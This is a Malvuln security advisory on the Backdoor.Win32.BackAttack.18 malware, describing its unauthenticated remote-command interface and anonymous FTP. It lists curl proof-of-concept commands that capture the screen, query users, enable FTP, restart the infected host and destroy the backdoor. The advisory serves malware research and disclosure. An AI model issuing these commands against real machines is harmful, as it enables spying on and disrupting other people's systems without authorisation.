Backdoor.Win32.BackAttack.18 Missing Authentication

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/c806d23f4343ab40cf897e9c38b5c1c3.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.BackAttack.18  
Vulnerability: Multiple Vulnerabilities  
Description: BackAttack.18 (v1.8) listens on TCP ports 80 and 11131. It has remote features you can enable like take screenshot, restart the infected system, enable FTP or even destroy the backdoor. The malware allows these commands to be executed without requiring authentication and the FTP server allows anonymous user logon.  
Type: PE32  
MD5: c806d23f4343ab40cf897e9c38b5c1c3  
Vuln ID: MVID-2021-0084  
Dropped files:   
Disclosure: 02/11/2021  
  
  
Exploit/PoC:  
1) Whos logged on  
curl http://x.x.x.x/whoisthere   
  
2) Screen capture  
curl http://x.x.x.x/capturescreen  
  
3) Enable FTP  
curl http://x.x.x.x/ftpon   
  
4) Restart infected host  
curl http://x.x.x.x/restart   
  
5) Destroy the backdoor  
curl http://x.x.x.x/destroyyes -v  
  
Destroy action has been executed! -Restart procedure initiated also-  
  
  
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